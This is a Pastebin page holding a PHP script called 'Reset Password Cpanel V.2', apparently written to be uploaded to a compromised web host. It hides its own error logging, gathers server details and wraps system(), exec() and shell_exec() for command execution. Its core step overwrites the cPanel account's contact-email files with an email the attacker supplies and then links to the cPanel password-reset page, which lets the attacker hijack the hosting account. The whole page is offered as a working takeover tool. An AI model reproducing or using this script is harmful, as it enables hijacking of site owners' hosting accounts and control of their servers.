Advertisement
naufalardhani

Tools Reset Password Cpanel V.2 [ PHP ]

Jan 28th, 2019
3,645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.04 KB | None | 0 0
  1. <?php
  2. //thanks to : IndoXploit (Shell Backdoor) - Garuda Tersakti 72 ( My Team )
  3. session_start();
  4. @error_reporting(0);
  5. @set_time_limit(0);
  6. if(version_compare(PHP_VERSION, '5.3.0', '<')) {
  7. @set_magic_quotes_runtime(0);
  8. }
  9. @clearstatcache();
  10. @ini_set('error_log',NULL);
  11. @ini_set('log_errors',0);
  12. @ini_set('max_execution_time',0);
  13. @ini_set('output_buffering',0);
  14. @ini_set('display_errors', 0);
  15. $SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
  16.  
  17. function background() {
  18. echo '<body bgcolor=black>';
  19. }
  20. function color($bold = 1, $colorid = null, $string = null) {
  21. $color = array(
  22. "</font>", # 0 off
  23. "<font color='red'>", # 1 red
  24. "<font color='lime'>", # 2 lime
  25. "<font color='lime'>", # 3 white
  26. "<font color='gold'>", # 4 gold
  27. );
  28. return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
  29. }
  30. function hddsize($size) {
  31. if($size >= 1073741824)
  32. return sprintf('%1.2f',$size / 1073741824 ).' GB';
  33. elseif($size >= 1048576)
  34. return sprintf('%1.2f',$size / 1048576 ) .' MB';
  35. elseif($size >= 1024)
  36. return sprintf('%1.2f',$size / 1024 ) .' KB';
  37. else
  38. return $size .' B';
  39. }
  40. function hdd() {
  41. $hdd['size'] = hddsize(disk_total_space("/"));
  42. $hdd['free'] = hddsize(disk_free_space("/"));
  43. $hdd['used'] = $hdd['size'] - $hdd['free'];
  44. return (object) $hdd;
  45. }
  46. function usergroup() {
  47. if(!function_exists('posix_getegid')) {
  48. $user['name'] = @get_current_user();
  49. $user['uid'] = @getmyuid();
  50. $user['gid'] = @getmygid();
  51. $user['group'] = "?";
  52. } else {
  53. $user['uid'] = @posix_getpwuid(posix_geteuid());
  54. $user['gid'] = @posix_getgrgid(posix_getegid());
  55. $user['name'] = $user['uid']['name'];
  56. $user['uid'] = $user['uid']['uid'];
  57. $user['group'] = $user['gid']['name'];
  58. $user['gid'] = $user['gid']['gid'];
  59. }
  60. return (object) $user;
  61. }
  62. function lib_installed() {
  63. $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  64. $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  65. $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  66. $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  67. $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  68. return implode(" | ", $lib);
  69. }
  70. function exe($cmd) {
  71. if(function_exists('system')) {
  72. @ob_start();
  73. @system($cmd);
  74. $buff = @ob_get_contents();
  75. @ob_end_clean();
  76. return $buff;
  77. } elseif(function_exists('exec')) {
  78. @exec($cmd,$results);
  79. $buff = "";
  80. foreach($results as $result) {
  81. $buff .= $result;
  82. } return $buff;
  83. } elseif(function_exists('passthru')) {
  84. @ob_start();
  85. @passthru($cmd);
  86. $buff = @ob_get_contents();
  87. @ob_end_clean();
  88. return $buff;
  89. } elseif(function_exists('shell_exec')) {
  90. $buff = @shell_exec($cmd);
  91. return $buff;
  92. }
  93. }
  94.  
  95. function infosistem() {
  96. $disable_functions = @ini_get('disable_functions');
  97. $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
  98. $output[] = "<body bgcolor=gray><center> <font size=5 color=lime>[X] Reset Password Cpanel [X]</font> </center> <br>";
  99. $output[] = "<hr color='lime'> Domain : " .color(1, 2,$_SERVER[HTTP_HOST]) . " | Cpanel Login : <font color=lime>http://" . $_SERVER[HTTP_HOST] . "/cpanel </font>" . "<hr color='lime'>";
  100. $output[] = "PHP VERSION : " .color(1, 2,phpversion());
  101. $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
  102. $output[] = "SYSTEM : ".color(1, 2, php_uname());
  103. $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
  104. $output[] = "SERVER IP : ".color(1, 2, $GLOBALS['SERVERIP'])." <br>YOUR IP : ".color(1, 2, $_SERVER['REMOTE_ADDR']);
  105. $output[] = "DISABLE FUNC: $disable_functions";
  106. $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
  107. $output[] = "<hr color='lime'>" . lib_installed() . "<hr color='lime'>";
  108. print "<font color=gray><pre>";
  109. print implode("<br>", $output);
  110. print "</pre></font>";
  111. }
  112.  
  113. background();
  114. infosistem();
  115. ############################
  116. ##Script Resetpass Cpanel ##
  117. ##Coded By Naufal Ardhani ##
  118. ## www.naufalardhani.com ##
  119. ############################
  120.  
  121. echo '<html>
  122. <head>
  123. <link rel="shortcut icon" href="https://cdn.kualo.com/website/icon_cpanel.png">
  124.  
  125. <title>Reset Password Cpanel </title>
  126. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  127. <body bgcolor=gray>
  128. </body>
  129. <style type="text/css">body, a:hover {cursor: url(), url(http://cur.cursors-4u.net/games/gam-15/gam1440.gif), progress !important;}</style><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Toad Jumping Up and Down" style="position:absolute; top: 0px; right: 0px;" /></a></style>
  130. <style>
  131. input[type="email"] {
  132. border: 1px solid #ddd;
  133. padding: 4px 8px;
  134. }
  135.  
  136. input[type="email"]:focus {
  137. border: 1px solid #000;
  138. }
  139.  
  140. input[type="submit"] {
  141. font-weight: bold;
  142. padding: 4px 8px;
  143. border:2px solid lime;
  144. background: lime;
  145. color:#fff;
  146. }
  147. </style>
  148. </head>
  149. <body>
  150. <!--SCC -->
  151. <center>
  152. <br><br>
  153. <font color="lime" size="5"><pre><b>Masukkan Email!</b></pre></font>
  154. <div style="border: 4px solid lime;padding: 4px 2px;width: 25%;line-height: 24px;background: black;color:lime;">
  155. <br>
  156. <p>
  157. <form action="#" method="post">
  158. <b> Email : </b>
  159. <input type="email" name="email" style="background-color: white;font: 9pt tahoma;color:lime;" />
  160. <input type="submit" name="submit" value="Send" style="style="border-radius: 6px;font: 9pt tahoma;color:lime;"/>
  161.  
  162. </form>
  163. <br>
  164. </p>
  165. </div>
  166. <br>
  167. <font color="lime" size="5"><b><pre>Coded by Naufal Ardhani | Blog : <a href="https://naufalardhani.com">www.Naufalrdhani.com</a> </font></b></pre>
  168. <hr color="lime">
  169. <font color="lime" size="5"><pre> Thanks to : <a href="https://www.garudatersakti72.id/">Garuda Tersakti 72</a> - IndoXploit </pre></font>
  170. </center>
  171. </body>
  172. </html>';
  173.  
  174. echo "<font color=lime>";
  175. $user = get_current_user();
  176. $site = $_SERVER['HTTP_HOST'];
  177. $ips = getenv('REMOTE_ADDR');
  178.  
  179. if(isset($_POST['submit'])){
  180.  
  181. $email = $_POST['email'];
  182. $wr = 'email:'.$email;
  183. $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
  184. fwrite($f, $wr);
  185. fclose($f);
  186. $f = fopen('/home/'.$user.'/.contactinfo', 'w');
  187. fwrite($f, $wr);
  188. fclose($f);
  189. $parm = "Disini : " . $site.':2083/resetpass?start=1';
  190. echo '<br/><center>'.$parm.'</center>';
  191. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement